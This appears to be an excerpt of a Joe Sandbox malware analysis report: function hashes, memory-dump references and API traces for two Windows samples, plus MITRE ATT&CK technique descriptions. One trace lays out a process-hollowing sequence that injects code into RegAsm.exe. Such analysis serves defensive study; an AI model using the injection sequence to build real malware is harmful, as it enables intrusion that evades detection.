Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811dfe814db11aed533cbfe01e9c18950e3d55057ac3f45dee96bae93802792f
Instruction ID: 2a50f4a916132901b2e49bb84c8d764af6efd893d040540905150ca1f9b4644c
Opcode Fuzzy Hash: 811dfe814db11aed533cbfe01e9c18950e3d55057ac3f45dee96bae93802792f
Instruction Fuzzy Hash: 8C11E674E04609DFDF44DFAAD8486AEBBF6FF88301F108469D415A3264DB745941CFA1

Function 00D90908 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f70298ac6351aadb7113b0559e23a3cf307f5d904d5badc1ac91efc752e97f92
Instruction ID: 9c1545020bceb864b56e105fb88450abcc53b525141b4c24678002ccb27d1f71
Opcode Fuzzy Hash: f70298ac6351aadb7113b0559e23a3cf307f5d904d5badc1ac91efc752e97f92
Instruction Fuzzy Hash: 63018B7080E384AFEF21DBB8A91479EBFF09F07305F0840EAD84993162D7345945CB21

Function 00D90918 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8887aa00626ea464c1bc5d70a2cefe5beb85d5704fe3d381eb745e1d8a8c963
Instruction ID: d3075fc2257eeea4f415a6245618d76605762183cf4f6d764c505baa5763320e
Opcode Fuzzy Hash: c8887aa00626ea464c1bc5d70a2cefe5beb85d5704fe3d381eb745e1d8a8c963
Instruction Fuzzy Hash: 5AF06570909349AEEF64DBF8BC047ADBEF49707304F0804A9E849D3152EB709985CB65

Function 00D90848 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69793d3b5b09b5920d7587c00839f05f824d9d9d8daeeb257a52b820e84303b2
Instruction ID: c6f301b90427c4e25a2aa41e1ccf8349e1dda8684ee3af03aff2fe00bc8f3582
Opcode Fuzzy Hash: 69793d3b5b09b5920d7587c00839f05f824d9d9d8daeeb257a52b820e84303b2
Instruction Fuzzy Hash: EAE04F70A05704DFEB54EBF9A904B9ABAE99F05301F0484A99408D3121E770CD00A6A5

Function 00D960C6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60cc595fae9ff059a673b8f9d84c85fe3189f237c0dd2ea166ec6e7da8dd98d
Instruction ID: b48c7c1a216b1d4651655d0bda47778dee08d92f3fd158fc0231f0ccda94046a
Opcode Fuzzy Hash: c60cc595fae9ff059a673b8f9d84c85fe3189f237c0dd2ea166ec6e7da8dd98d
Instruction Fuzzy Hash: 3BE0F674D103288FCBA6CF14C881A99BBB8AB58700F1090EAA40DA3240EA705F859F10

Function 00D90CA7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78f54c1c724d0444dd88d69da65bc924fa00df66450f966df013c00c5b15f3e
Instruction ID: 7bd88d7c69ff5ecb7232b21005d105eb99a4da08d4038da4d2a8545a7427fba3
Opcode Fuzzy Hash: d78f54c1c724d0444dd88d69da65bc924fa00df66450f966df013c00c5b15f3e
Instruction Fuzzy Hash: 3CC01234809206C7DF008B44D4505A935B6A716311F141405C18963190E37684804A75

Function 00D92BB2 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2159330177.0000000000D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_aFBKY19rLrQU72E14du4WCPo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d18e4a25309a0b099bbcf6ca9cb9a901fe5e0dab5de35391642ad809c311f359
Instruction ID: 9b5e7cf6417e362fcf91bad771c5d4c17699e87b7cf9c64adef57bad75683400
Opcode Fuzzy Hash: d18e4a25309a0b099bbcf6ca9cb9a901fe5e0dab5de35391642ad809c311f359
Instruction Fuzzy Hash: DBD06CB89083299FCF20CF24CC48A99B7B0AB49300F5001D6A50AB2225E6309E80CF24

Analysis Process: g2v2mVtOHdxh9ZgrtYde5yf0.exePID: 3956, Parent PID: 6388COMMON

Execution Graph

Execution Coverage:	30.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02F521A5 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02F52117,02F52107), ref: 02F52314
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02F52327
Wow64GetThreadContext.KERNEL32(000003A8,00000000), ref: 02F52345
ReadProcessMemory.KERNELBASE(000003AC,?,02F5215B,00000004,00000000), ref: 02F52369
VirtualAllocEx.KERNELBASE(000003AC,?,?,00003000,00000040), ref: 02F52394
WriteProcessMemory.KERNELBASE(000003AC,00000000,?,?,00000000,?), ref: 02F523EC
WriteProcessMemory.KERNELBASE(000003AC,00400000,?,?,00000000,?,00000028), ref: 02F52437
WriteProcessMemory.KERNELBASE(000003AC,?,?,00000004,00000000), ref: 02F52475
Wow64SetThreadContext.KERNEL32(000003A8,02E80000), ref: 02F524B1
ResumeThread.KERNELBASE(000003A8), ref: 02F524C0

Strings

GetThreadContext, xrefs: 02F5227F
ress, xrefs: 02F5222F
CreateProcessA, xrefs: 02F52259
GetP, xrefs: 02F52227
ReadProcessMemory, xrefs: 02F52292
Load, xrefs: 02F521E3
VirtualAllocEx, xrefs: 02F522A5
VirtualAlloc, xrefs: 02F5226C
SetThreadContext, xrefs: 02F522CB
aryA, xrefs: 02F521EB
WriteProcessMemory, xrefs: 02F522B8
TerminateProcess, xrefs: 02F523A3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02F52313
ResumeThread, xrefs: 02F522E1

Memory Dump Source

Source File: 0000000B.00000002.2023359153.0000000002F52000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f52000_g2v2mVtOHdxh9ZgrtYde5yf0.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 2b934ce8771f6e40480744cac234cbd3a3467de4026981a5d2466a753e904977
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: FBB1E57664068AAFDB60CF68CC80BDA77A5FF88754F158124EA0CAB341D774FA41CB94

Function 010E0BD0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 293
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03F53590,?,00000001,0000012C,?,?,?,00000000,00000000,?,010E0A73,00000001,00000040), ref: 010E0FD9

Strings

<1i;, xrefs: 010E0DCC
&S!, xrefs: 010E0C67

Memory Dump Source

Source File: 0000000B.00000002.1989251829.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_10e0000_g2v2mVtOHdxh9ZgrtYde5yf0.jbxd

Similarity

API ID: ProtectVirtual
String ID: &S!$<1i;
API String ID: 544645111-1770337207
Opcode ID: 1fdf8033bfb97cb2b119e485091ad63c0f2987154448d2ca2ed06f7f7c244d59
Instruction ID: 695bc1ff9c499cb426691b4dff2aef88abd48642a6646bd14fabc562f8686d3a
Opcode Fuzzy Hash: 1fdf8033bfb97cb2b119e485091ad63c0f2987154448d2ca2ed06f7f7c244d59
Instruction Fuzzy Hash: B0C1B170A0425A8FCB15CFA9C5846EDFBF2BF48310F248599E499AB34AC375AD41CF94

Function 010E0500 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03F53590,?,00000001,0000012C,?,?,?,00000000,00000000,?,010E0A73,00000001,00000040), ref: 010E0FD9

Memory Dump Source

Source File: 0000000B.00000002.1989251829.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_10e0000_g2v2mVtOHdxh9ZgrtYde5yf0.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 20ec24ede175bd460221cc9ee4892469961223ab7e334142b130f4f0e04fe357
Instruction ID: 3bb5285480d340dee08e18ba8236f31bc619fbc3e01810a04ad8f79a673670d8
Opcode Fuzzy Hash: 20ec24ede175bd460221cc9ee4892469961223ab7e334142b130f4f0e04fe357
Instruction Fuzzy Hash: E621EEB590121DAFCB00DF9AD884BDEFBF4FB08310F10812AE958A7644C3B4A954CBA5

Function 0108D059 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1959017069.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_108d000_g2v2mVtOHdxh9ZgrtYde5yf0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9168659aa842ca3a94ca49d19976b4bff7b5a830d91d2bcde7dda7631b3f9cb3
Instruction ID: f916ad2438ae231670c0fe70b1a3e7ae5b8e49974ae440eece32ea517c3df3c3
Opcode Fuzzy Hash: 9168659aa842ca3a94ca49d19976b4bff7b5a830d91d2bcde7dda7631b3f9cb3
Instruction Fuzzy Hash: 7701A77110C3409BE7106AA5DD8476BBFD8DF41260F18865AFDC94A2C7C6799446CF72

Function 0108D058 Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1959017069.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_108d000_g2v2mVtOHdxh9ZgrtYde5yf0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f4ea153c04d90fe212283c5df5bddb5246f552f28dfa23129f58f12753b9ef
Instruction ID: 51b5cd03bab94bfd53dfd07f860ebdd9e524b3b1ecfb2bf7b00950dd70ae4161
Opcode Fuzzy Hash: 63f4ea153c04d90fe212283c5df5bddb5246f552f28dfa23129f58f12753b9ef
Instruction Fuzzy Hash: 5FF0C271008340AEE7108E4ADD84B62FFE8EF40274F18C69AFD880B2C7C2799845CBB1

Analysis Process: kJHbagG0C4H5BEyYJQeInLfF.exePID: 5888, Parent PID: 6388COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 00409037 Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 420COMMON

Download Yara Rule

Strings

r, xrefs: 0040A4C9
r, xrefs: 0040A013
t, xrefs: 0040A021
i, xrefs: 0040A4BB
r, xrefs: 00409FE9
c, xrefs: 0040A02F
t, xrefs: 0040A036
d, xrefs: 0040A4AD
u, xrefs: 00409FF7
t, xrefs: 00409FF0
W, xrefs: 0040A4E5
o, xrefs: 0040A49F
L, xrefs: 0040A4B4
a, xrefs: 0040A4D0
l, xrefs: 0040A005
a, xrefs: 0040A4A6
e, xrefs: 0040A028
b, xrefs: 0040A4C2
o, xrefs: 0040A01A
r, xrefs: 0040A4D7
L, xrefs: 0040A498
i, xrefs: 00409FE2
a, xrefs: 00409FFE
y, xrefs: 0040A4DE
P, xrefs: 0040A00C
3849, xrefs: 0040A3A1
V, xrefs: 00409FDB

Memory Dump Source

Source File: 0000000C.00000002.2391131205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2391105104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391284217.0000000000525000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391349592.00000000005A8000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391380900.00000000005AA000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391404940.00000000005AB000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391432973.00000000005B2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391511512.0000000000633000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000664000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000666000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391599958.000000000066A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391624250.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391649923.0000000000676000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391684094.000000000067D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391710427.0000000000680000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391734940.0000000000689000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391763358.000000000068E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391803437.00000000006BC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391828783.00000000006C0000.00000040.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_kJHbagG0C4H5BEyYJQeInLfF.jbxd

Yara matches

Similarity

API ID:
String ID: 3849$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-829924176
Opcode ID: fa7f2ea7d06a1c11f4c3c7b418b5ab40c488cf3c469cda7af914d479c4175b81
Instruction ID: 375ac688da5934b688f4bcb78b3944943b62ad60df6e06d8cd5dc98f8d8c3c95
Opcode Fuzzy Hash: fa7f2ea7d06a1c11f4c3c7b418b5ab40c488cf3c469cda7af914d479c4175b81
Instruction Fuzzy Hash: 19F135B2D082A89AF7208625DC447DA7BB5EF91304F0441FAC44D67282D67E5FC6CBA7

Function 00409009 Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 402COMMON

Download Yara Rule

Strings

r, xrefs: 0040A4C9
r, xrefs: 0040A013
t, xrefs: 0040A021
i, xrefs: 0040A4BB
r, xrefs: 00409FE9
c, xrefs: 0040A02F
t, xrefs: 0040A036
d, xrefs: 0040A4AD
u, xrefs: 00409FF7
t, xrefs: 00409FF0
W, xrefs: 0040A4E5
o, xrefs: 0040A49F
L, xrefs: 0040A4B4
a, xrefs: 0040A4D0
l, xrefs: 0040A005
a, xrefs: 0040A4A6
e, xrefs: 0040A028
b, xrefs: 0040A4C2
o, xrefs: 0040A01A
r, xrefs: 0040A4D7
L, xrefs: 0040A498
i, xrefs: 00409FE2
a, xrefs: 00409FFE
y, xrefs: 0040A4DE
P, xrefs: 0040A00C
3849, xrefs: 0040A3A1
V, xrefs: 00409FDB

Memory Dump Source

Source File: 0000000C.00000002.2391131205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2391105104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391284217.0000000000525000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391349592.00000000005A8000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391380900.00000000005AA000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391404940.00000000005AB000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391432973.00000000005B2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391511512.0000000000633000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000664000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000666000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391599958.000000000066A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391624250.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391649923.0000000000676000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391684094.000000000067D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391710427.0000000000680000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391734940.0000000000689000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391763358.000000000068E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391803437.00000000006BC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391828783.00000000006C0000.00000040.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_kJHbagG0C4H5BEyYJQeInLfF.jbxd

Yara matches

Similarity

API ID:
String ID: 3849$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-829924176
Opcode ID: 5add19f7e8998525be6cf22f90b47c0ff67255d3f501afb9e6df6ed236ec3386
Instruction ID: e23a1f506a077f573dc430d5e8b10672cd4dc9a3115a4b21629f4a620024b0ca
Opcode Fuzzy Hash: 5add19f7e8998525be6cf22f90b47c0ff67255d3f501afb9e6df6ed236ec3386
Instruction Fuzzy Hash: 1EF145B2D082A88AF7208A25DC447DA7BB5EF51300F0441FAC44D67282D67E5FC6CBA7

Function 0040A04B Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 249COMMON

Download Yara Rule

Strings

r, xrefs: 0040A4C9
a, xrefs: 0040A4A6
b, xrefs: 0040A4C2
i, xrefs: 0040A4BB
r, xrefs: 0040A4D7
L, xrefs: 0040A498
y, xrefs: 0040A4DE
3849, xrefs: 0040A3A1
d, xrefs: 0040A4AD
W, xrefs: 0040A4E5
o, xrefs: 0040A49F
L, xrefs: 0040A4B4
a, xrefs: 0040A4D0

Memory Dump Source

Source File: 0000000C.00000002.2391131205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2391105104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391284217.0000000000525000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391349592.00000000005A8000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391380900.00000000005AA000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391404940.00000000005AB000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391432973.00000000005B2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391511512.0000000000633000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000664000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391548094.0000000000666000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391599958.000000000066A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391624250.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391649923.0000000000676000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391684094.000000000067D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391710427.0000000000680000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391734940.0000000000689000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391763358.000000000068E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391803437.00000000006BC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000C.00000002.2391828783.00000000006C0000.00000040.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_kJHbagG0C4H5BEyYJQeInLfF.jbxd

Yara matches

Similarity

API ID:
String ID: 3849$L$L$W$a$a$b$d$i$o$r$r$y
API String ID: 0-4127283393
Opcode ID: 1b4a806f4aed8c27872cd381f6375e33a2eebbe9e1d627def979598e3a4133b5
Instruction ID: ad54936cff26b5a14aaa063f3c186eac5bd1450ecfe14e0f19b3fdc36f8b754a
Opcode Fuzzy Hash: 1b4a806f4aed8c27872cd381f6375e33a2eebbe9e1d627def979598e3a4133b5
Instruction Fuzzy Hash: C4A102B1D042688AE710CB24DC407EA7BB5EF95304F0481FAC44DA7281D67E5FD5CB9A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
